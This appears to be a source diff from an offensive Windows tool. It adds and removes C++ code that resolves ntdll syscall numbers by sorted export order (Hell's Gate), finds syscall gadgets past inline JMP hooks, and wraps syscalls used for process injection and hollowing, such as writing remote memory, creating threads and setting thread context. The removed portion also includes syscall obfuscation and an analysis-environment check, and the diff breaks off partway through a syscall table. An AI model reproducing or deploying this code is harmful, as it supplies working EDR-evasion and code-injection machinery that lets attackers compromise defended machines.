||||
SYSCALL_STUBS g_syscall_stubs{};
|
||||
|
||||
// External ASM function
|
||||
extern "C" NTSTATUS SyscallTrampoline(void* entry, ...);
|
||||
|
||||
namespace Sys {
|
||||
|
||||
namespace {
|
||||
// Compile-time DJB2 hash for function name matching
|
||||
constexpr uint32_t djb2_hash(const char* str) {
|
||||
uint32_t hash = 5381;
|
||||
while (*str) {
|
||||
hash = ((hash << 5) + hash) + static_cast<uint8_t>(*str++);
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Runtime hash for comparing against exports
|
||||
uint32_t runtime_hash(const char* str) {
|
||||
uint32_t hash = 5381;
|
||||
while (*str) {
|
||||
hash = ((hash << 5) + hash) + static_cast<uint8_t>(*str++);
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
struct SyscallMapping {
|
||||
PVOID address;
|
||||
uint32_t hash;
|
||||
};
|
||||
|
||||
PVOID FindSyscallGadget(PVOID func) {
|
||||
#if defined(_M_X64)
|
||||
auto bytes = reinterpret_cast<uint8_t*>(func);
|
||||
for (int i = 0; i < 64; ++i) {
|
||||
if (bytes[i] == 0x0F && bytes[i + 1] == 0x05 && bytes[i + 2] == 0xC3) {
|
||||
return bytes + i;
|
||||
}
|
||||
// Skip over JMP hooks
|
||||
if (bytes[i] == 0xE9) i += 4;
|
||||
}
|
||||
#elif defined(_M_ARM64)
|
||||
auto bytes = reinterpret_cast<uint8_t*>(func);
|
||||
for (int i = 0; i <= 64; i += 4) {
|
||||
uint32_t instr = *reinterpret_cast<uint32_t*>(bytes + i);
|
||||
if ((instr & 0xFF000000) == 0xD4000000 &&
|
||||
*reinterpret_cast<uint32_t*>(bytes + i + 4) == 0xD65F03C0) {
|
||||
return bytes + i;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Pre-computed hashes for target syscalls (computed at compile time)
|
||||
constexpr uint32_t H_ZwAllocateVirtualMemory = djb2_hash("ZwAllocateVirtualMemory");
|
||||
constexpr uint32_t H_ZwWriteVirtualMemory = djb2_hash("ZwWriteVirtualMemory");
|
||||
constexpr uint32_t H_ZwReadVirtualMemory = djb2_hash("ZwReadVirtualMemory");
|
||||
constexpr uint32_t H_ZwCreateThreadEx = djb2_hash("ZwCreateThreadEx");
|
||||
constexpr uint32_t H_ZwFreeVirtualMemory = djb2_hash("ZwFreeVirtualMemory");
|
||||
constexpr uint32_t H_ZwProtectVirtualMemory = djb2_hash("ZwProtectVirtualMemory");
|
||||
constexpr uint32_t H_ZwOpenProcess = djb2_hash("ZwOpenProcess");
|
||||
constexpr uint32_t H_ZwGetNextProcess = djb2_hash("ZwGetNextProcess");
|
||||
constexpr uint32_t H_ZwTerminateProcess = djb2_hash("ZwTerminateProcess");
|
||||
constexpr uint32_t H_ZwQueryInformationProcess = djb2_hash("ZwQueryInformationProcess");
|
||||
constexpr uint32_t H_ZwUnmapViewOfSection = djb2_hash("ZwUnmapViewOfSection");
|
||||
constexpr uint32_t H_ZwGetContextThread = djb2_hash("ZwGetContextThread");
|
||||
constexpr uint32_t H_ZwSetContextThread = djb2_hash("ZwSetContextThread");
|
||||
constexpr uint32_t H_ZwResumeThread = djb2_hash("ZwResumeThread");
|
||||
constexpr uint32_t H_ZwFlushInstructionCache = djb2_hash("ZwFlushInstructionCache");
|
||||
constexpr uint32_t H_ZwClose = djb2_hash("ZwClose");
|
||||
constexpr uint32_t H_ZwOpenKey = djb2_hash("ZwOpenKey");
|
||||
constexpr uint32_t H_ZwQueryValueKey = djb2_hash("ZwQueryValueKey");
|
||||
constexpr uint32_t H_ZwEnumerateKey = djb2_hash("ZwEnumerateKey");
|
||||
}
|
||||
|
||||
bool InitApi(bool) {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) return false;
|
||||
|
||||
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
|
||||
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<uint8_t*>(hNtdll) + pDosHeader->e_lfanew);
|
||||
auto pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<uint8_t*>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
auto pNameRvas = reinterpret_cast<DWORD*>(reinterpret_cast<uint8_t*>(hNtdll) + pExportDir->AddressOfNames);
|
||||
auto pAddressRvas = reinterpret_cast<DWORD*>(reinterpret_cast<uint8_t*>(hNtdll) + pExportDir->AddressOfFunctions);
|
||||
auto pOrdinalRvas = reinterpret_cast<WORD*>(reinterpret_cast<uint8_t*>(hNtdll) + pExportDir->AddressOfNameOrdinals);
|
||||
|
||||
std::vector<SyscallMapping> sortedSyscalls;
|
||||
sortedSyscalls.reserve(pExportDir->NumberOfNames);
|
||||
|
||||
// Collect Zw* exports with their hashes
|
||||
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
|
||||
const char* name = reinterpret_cast<const char*>(reinterpret_cast<uint8_t*>(hNtdll) + pNameRvas[i]);
|
||||
if (name && name[0] == 'Z' && name[1] == 'w') {
|
||||
PVOID addr = reinterpret_cast<PVOID>(reinterpret_cast<uint8_t*>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
|
||||
sortedSyscalls.push_back({addr, runtime_hash(name)});
|
||||
}
|
||||
}
|
||||
|
||||
// Sort by address for SSN derivation (Hell's Gate)
|
||||
std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), [](const auto& a, const auto& b) {
|
||||
return a.address < b.address;
|
||||
});
|
||||
|
||||
// Target syscalls with their hash and entry pointer
|
||||
struct Target {
|
||||
uint32_t hash;
|
||||
SYSCALL_ENTRY* entry;
|
||||
UINT argCount;
|
||||
};
|
||||
|
||||
Target targets[] = {
|
||||
{H_ZwAllocateVirtualMemory, &g_syscall_stubs.NtAllocateVirtualMemory, 6},
|
||||
{H_ZwWriteVirtualMemory, &g_syscall_stubs.NtWriteVirtualMemory, 5},
|
||||
{H_ZwReadVirtualMemory, &g_syscall_stubs.NtReadVirtualMemory, 5},
|
||||
{H_ZwCreateThreadEx, &g_syscall_stubs.NtCreateThreadEx, 11},
|
||||
{H_ZwFreeVirtualMemory, &g_syscall_stubs.NtFreeVirtualMemory, 4},
|
||||
{H_ZwProtectVirtualMemory, &g_syscall_stubs.NtProtectVirtualMemory, 5},
|
||||
{H_ZwOpenProcess, &g_syscall_stubs.NtOpenProcess, 4},
|
||||
{H_ZwGetNextProcess, &g_syscall_stubs.NtGetNextProcess, 5},
|
||||
{H_ZwTerminateProcess, &g_syscall_stubs.NtTerminateProcess, 2},
|
||||
{H_ZwQueryInformationProcess, &g_syscall_stubs.NtQueryInformationProcess, 5},
|
||||
{H_ZwUnmapViewOfSection, &g_syscall_stubs.NtUnmapViewOfSection, 2},
|
||||
{H_ZwGetContextThread, &g_syscall_stubs.NtGetContextThread, 2},
|
||||
{H_ZwSetContextThread, &g_syscall_stubs.NtSetContextThread, 2},
|
||||
{H_ZwResumeThread, &g_syscall_stubs.NtResumeThread, 2},
|
||||
{H_ZwFlushInstructionCache, &g_syscall_stubs.NtFlushInstructionCache, 3},
|
||||
{H_ZwClose, &g_syscall_stubs.NtClose, 1},
|
||||
{H_ZwOpenKey, &g_syscall_stubs.NtOpenKey, 3},
|
||||
{H_ZwQueryValueKey, &g_syscall_stubs.NtQueryValueKey, 6},
|
||||
{H_ZwEnumerateKey, &g_syscall_stubs.NtEnumerateKey, 6}
|
||||
};
|
||||
|
||||
// Match by hash and resolve SSN from sorted position
|
||||
for (WORD i = 0; i < sortedSyscalls.size(); ++i) {
|
||||
const auto& mapping = sortedSyscalls[i];
|
||||
|
||||
for (auto& target : targets) {
|
||||
if (mapping.hash == target.hash) {
|
||||
PVOID gadget = FindSyscallGadget(mapping.address);
|
||||
if (gadget) {
|
||||
target.entry->pSyscallGadget = gadget;
|
||||
target.entry->ssn = i;
|
||||
target.entry->nArgs = target.argCount;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify all syscalls were resolved
|
||||
for (const auto& target : targets) {
|
||||
if (!target.entry->pSyscallGadget) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
|
||||
}
|
||||
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
|
||||
}
|
||||
NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);
|
||||
}
|
||||
NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);
|
||||
}
|
||||
NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType);
|
||||
}
|
||||
NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
|
||||
}
|
||||
NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
|
||||
}
|
||||
NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle);
|
||||
}
|
||||
NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus);
|
||||
}
|
||||
NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
|
||||
}
|
||||
NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress);
|
||||
}
|
||||
NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext);
|
||||
}
|
||||
NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext);
|
||||
}
|
||||
NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount);
|
||||
}
|
||||
NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush);
|
||||
}
|
||||
NTSTATUS NtClose_syscall(HANDLE Handle) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtClose, Handle);
|
||||
}
|
||||
NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes);
|
||||
}
|
||||
NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
|
||||
}
|
||||
NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength) {
|
||||
return SyscallTrampoline(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength);
|
||||
}
|
||||
}
|
||||
@@ -1,16 +1,19 @@
|
||||
// syscalls.h
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#ifndef SYSCALLS_H
|
||||
#define SYSCALLS_H
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "../core/common.hpp"
|
||||
|
||||
#ifndef NTSTATUS
|
||||
using NTSTATUS = LONG;
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_SUCCESS
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_BUFFER_TOO_SMALL
|
||||
#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L)
|
||||
#endif
|
||||
@@ -23,44 +26,7 @@ using NTSTATUS = LONG;
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#endif
|
||||
|
||||
#ifndef REG_SZ
|
||||
#define REG_SZ 1
|
||||
#endif
|
||||
|
||||
#ifndef REG_EXPAND_SZ
|
||||
#define REG_EXPAND_SZ 2
|
||||
#endif
|
||||
|
||||
struct SYSCALL_ENTRY
|
||||
{
|
||||
PVOID pSyscallGadget;
|
||||
UINT nArgs;
|
||||
WORD ssn;
|
||||
};
|
||||
|
||||
struct SYSCALL_STUBS
|
||||
{
|
||||
SYSCALL_ENTRY NtAllocateVirtualMemory;
|
||||
SYSCALL_ENTRY NtWriteVirtualMemory;
|
||||
SYSCALL_ENTRY NtReadVirtualMemory;
|
||||
SYSCALL_ENTRY NtCreateThreadEx;
|
||||
SYSCALL_ENTRY NtFreeVirtualMemory;
|
||||
SYSCALL_ENTRY NtProtectVirtualMemory;
|
||||
SYSCALL_ENTRY NtOpenProcess;
|
||||
SYSCALL_ENTRY NtGetNextProcess;
|
||||
SYSCALL_ENTRY NtTerminateProcess;
|
||||
SYSCALL_ENTRY NtQueryInformationProcess;
|
||||
SYSCALL_ENTRY NtUnmapViewOfSection;
|
||||
SYSCALL_ENTRY NtGetContextThread;
|
||||
SYSCALL_ENTRY NtSetContextThread;
|
||||
SYSCALL_ENTRY NtResumeThread;
|
||||
SYSCALL_ENTRY NtFlushInstructionCache;
|
||||
SYSCALL_ENTRY NtClose;
|
||||
SYSCALL_ENTRY NtOpenKey;
|
||||
SYSCALL_ENTRY NtQueryValueKey;
|
||||
SYSCALL_ENTRY NtEnumerateKey;
|
||||
};
|
||||
|
||||
// NT Structures required for syscalls
|
||||
struct UNICODE_STRING_SYSCALLS
|
||||
{
|
||||
USHORT Length;
|
||||
@@ -80,6 +46,13 @@ struct OBJECT_ATTRIBUTES
|
||||
};
|
||||
using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *;
|
||||
|
||||
struct CLIENT_ID
|
||||
{
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
};
|
||||
using PCLIENT_ID = CLIENT_ID *;
|
||||
|
||||
enum PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
@@ -127,13 +100,6 @@ struct PEB
|
||||
};
|
||||
using PPEB = PEB *;
|
||||
|
||||
struct CLIENT_ID
|
||||
{
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
};
|
||||
using PCLIENT_ID = CLIENT_ID *;
|
||||
|
||||
enum KEY_VALUE_INFORMATION_CLASS
|
||||
{
|
||||
KeyValueBasicInformation = 0,
|
||||
@@ -150,15 +116,6 @@ struct KEY_VALUE_PARTIAL_INFORMATION
|
||||
};
|
||||
using PKEY_VALUE_PARTIAL_INFORMATION = KEY_VALUE_PARTIAL_INFORMATION *;
|
||||
|
||||
struct KEY_BASIC_INFORMATION
|
||||
{
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
ULONG TitleIndex;
|
||||
ULONG NameLength;
|
||||
WCHAR Name[1];
|
||||
};
|
||||
using PKEY_BASIC_INFORMATION = KEY_BASIC_INFORMATION *;
|
||||
|
||||
enum KEY_INFORMATION_CLASS
|
||||
{
|
||||
KeyBasicInformation = 0
|
||||
@@ -174,28 +131,44 @@ inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYS
|
||||
p->SecurityQualityOfService = nullptr;
|
||||
}
|
||||
|
||||
#ifndef KEY_QUERY_VALUE
|
||||
#define KEY_QUERY_VALUE (0x0001)
|
||||
#endif
|
||||
// Syscall Entry Structure - MUST MATCH ASM EXPECTATIONS
|
||||
struct SYSCALL_ENTRY
|
||||
{
|
||||
PVOID pSyscallGadget;
|
||||
UINT nArgs;
|
||||
WORD ssn;
|
||||
};
|
||||
|
||||
#ifndef KEY_READ
|
||||
#define KEY_READ (0x20019)
|
||||
#endif
|
||||
|
||||
#ifndef KEY_WOW64_64KEY
|
||||
#define KEY_WOW64_64KEY (0x0100)
|
||||
#endif
|
||||
|
||||
#ifndef KEY_WOW64_32KEY
|
||||
#define KEY_WOW64_32KEY (0x0200)
|
||||
#endif
|
||||
// Syscall Stubs Structure - MUST MATCH ASM EXPECTATIONS
|
||||
struct SYSCALL_STUBS
|
||||
{
|
||||
SYSCALL_ENTRY NtAllocateVirtualMemory;
|
||||
SYSCALL_ENTRY NtWriteVirtualMemory;
|
||||
SYSCALL_ENTRY NtReadVirtualMemory;
|
||||
SYSCALL_ENTRY NtCreateThreadEx;
|
||||
SYSCALL_ENTRY NtFreeVirtualMemory;
|
||||
SYSCALL_ENTRY NtProtectVirtualMemory;
|
||||
SYSCALL_ENTRY NtOpenProcess;
|
||||
SYSCALL_ENTRY NtGetNextProcess;
|
||||
SYSCALL_ENTRY NtTerminateProcess;
|
||||
SYSCALL_ENTRY NtQueryInformationProcess;
|
||||
SYSCALL_ENTRY NtUnmapViewOfSection;
|
||||
SYSCALL_ENTRY NtGetContextThread;
|
||||
SYSCALL_ENTRY NtSetContextThread;
|
||||
SYSCALL_ENTRY NtResumeThread;
|
||||
SYSCALL_ENTRY NtFlushInstructionCache;
|
||||
SYSCALL_ENTRY NtClose;
|
||||
SYSCALL_ENTRY NtOpenKey;
|
||||
SYSCALL_ENTRY NtQueryValueKey;
|
||||
SYSCALL_ENTRY NtEnumerateKey;
|
||||
};
|
||||
|
||||
extern "C"
|
||||
{
|
||||
// Global instance used by ASM
|
||||
extern SYSCALL_STUBS g_syscall_stubs;
|
||||
|
||||
[[nodiscard]] BOOL InitializeSyscalls(bool is_verbose, bool enable_obfuscation = true);
|
||||
|
||||
// Syscall prototypes
|
||||
NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
@@ -217,4 +190,7 @@ extern "C"
|
||||
NTSTATUS NtEnumerateKey_syscall(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG);
|
||||
}
|
||||
|
||||
#endif
|
||||
namespace Sys {
|
||||
// Initialization function
|
||||
[[nodiscard]] bool InitApi(bool verbose);
|
||||
}
|
||||
@@ -1,5 +1,4 @@
|
||||
; syscall_trampoline_arm64.asm
|
||||
; v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
; (c) Alexander 'xaitax' Hagenah
|
||||
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
;
|
||||
; A simple and ABI-compliant ARM64 trampoline. This version preserves callee-saved
|
||||
@@ -1,5 +1,4 @@
|
||||
; syscall_trampoline_x64.asm
|
||||
; v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
; (c) Alexander 'xaitax' Hagenah
|
||||
; Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
;
|
||||
; ABI-compliant x64 trampoline with unconditional marshalling for max arguments.
|
||||
@@ -1,343 +0,0 @@
|
||||
// syscalls.cpp
|
||||
// v0.16.1 (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "syscalls.h"
|
||||
#include "syscalls_obfuscation.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <algorithm>
|
||||
#include <cstdint>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <map>
|
||||
#include <functional>
|
||||
|
||||
SYSCALL_STUBS g_syscall_stubs{};
|
||||
static bool g_obfuscation_enabled = false;
|
||||
|
||||
struct ObfuscatedSyscallStorage
|
||||
{
|
||||
SyscallObfuscation::ObfuscatedSyscallEntry entries[19];
|
||||
UINT argCounts[19];
|
||||
};
|
||||
|
||||
static ObfuscatedSyscallStorage g_encrypted_storage{};
|
||||
|
||||
static bool g_verbose_syscalls = false;
|
||||
static void debug_print(const std::string &msg)
|
||||
{
|
||||
if (g_verbose_syscalls)
|
||||
{
|
||||
std::cout << "[#] " << msg << std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
extern "C" NTSTATUS SyscallTrampoline(...);
|
||||
|
||||
namespace
|
||||
{
|
||||
struct SORTED_SYSCALL_MAPPING
|
||||
{
|
||||
PVOID pAddress;
|
||||
LPCSTR szName;
|
||||
};
|
||||
|
||||
bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b)
|
||||
{
|
||||
return reinterpret_cast<uintptr_t>(a.pAddress) < reinterpret_cast<uintptr_t>(b.pAddress);
|
||||
}
|
||||
|
||||
PVOID FindSyscallGadget_x64(PVOID pFunction)
|
||||
{
|
||||
for (DWORD i = 0; i <= 64; ++i)
|
||||
{
|
||||
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
|
||||
|
||||
if (*current_addr == 0xE9) // jmp rel32
|
||||
{
|
||||
i += 4;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (*reinterpret_cast<PWORD>(current_addr) == 0x050F && *(current_addr + 2) == 0xC3)
|
||||
{
|
||||
return current_addr;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
PVOID FindSvcGadget_ARM64(PVOID pFunction)
|
||||
{
|
||||
for (DWORD i = 0; i <= 64; i += 4)
|
||||
{
|
||||
auto current_addr = reinterpret_cast<PBYTE>(pFunction) + i;
|
||||
DWORD instruction = *reinterpret_cast<PDWORD>(current_addr);
|
||||
|
||||
if ((instruction & 0xFC000000) == 0x14000000) // B <offset>
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if ((instruction & 0xFF000000) == 0xD4000000 && *reinterpret_cast<PDWORD>(current_addr + 4) == 0xD65F03C0)
|
||||
{
|
||||
return current_addr;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL InitializeSyscalls(bool is_verbose, bool enable_obfuscation)
|
||||
{
|
||||
g_verbose_syscalls = is_verbose;
|
||||
g_obfuscation_enabled = enable_obfuscation;
|
||||
|
||||
if (g_obfuscation_enabled)
|
||||
{
|
||||
if (!SyscallObfuscation::InitializeObfuscation(true))
|
||||
{
|
||||
debug_print("WARNING: Obfuscation initialization failed, continuing without obfuscation");
|
||||
g_obfuscation_enabled = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (SyscallObfuscation::g_Obfuscator && !SyscallObfuscation::g_Obfuscator->ValidateEnvironment())
|
||||
{
|
||||
debug_print("WARNING: Analysis environment detected! Obfuscation may be compromised");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll)
|
||||
{
|
||||
debug_print("GetModuleHandleW for ntdll.dll failed.");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
|
||||
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<PBYTE>(hNtdll) + pDosHeader->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<PBYTE>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
auto pNameRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNames);
|
||||
auto pAddressRvas = reinterpret_cast<PDWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfFunctions);
|
||||
auto pOrdinalRvas = reinterpret_cast<PWORD>(reinterpret_cast<PBYTE>(hNtdll) + pExportDir->AddressOfNameOrdinals);
|
||||
|
||||
std::vector<SORTED_SYSCALL_MAPPING> sortedSyscalls;
|
||||
sortedSyscalls.reserve(pExportDir->NumberOfNames);
|
||||
|
||||
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i)
|
||||
{
|
||||
LPCSTR szFuncName = reinterpret_cast<LPCSTR>(reinterpret_cast<PBYTE>(hNtdll) + pNameRvas[i]);
|
||||
if (strncmp(szFuncName, "Zw", 2) == 0)
|
||||
{
|
||||
PVOID pFuncAddress = reinterpret_cast<PVOID>(reinterpret_cast<PBYTE>(hNtdll) + pAddressRvas[pOrdinalRvas[i]]);
|
||||
sortedSyscalls.push_back({pFuncAddress, szFuncName});
|
||||
}
|
||||
}
|
||||
|
||||
std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings);
|
||||
debug_print("Found and sorted " + std::to_string(sortedSyscalls.size()) + " Zw* functions.");
|
||||
|
||||
struct CStringComparer
|
||||
{
|
||||
bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; }
|
||||
};
|
||||
const std::map<const char *, std::pair<SYSCALL_ENTRY *, UINT>, CStringComparer> required_syscalls = {
|
||||
{"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}},
|
||||
{"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}},
|
||||
{"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}},
|
||||
{"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}},
|
||||
{"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}},
|
||||
{"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}},
|
||||
{"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}},
|
||||
{"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}},
|
||||
{"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}},
|
||||
{"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}},
|
||||
{"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}},
|
||||
{"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}},
|
||||
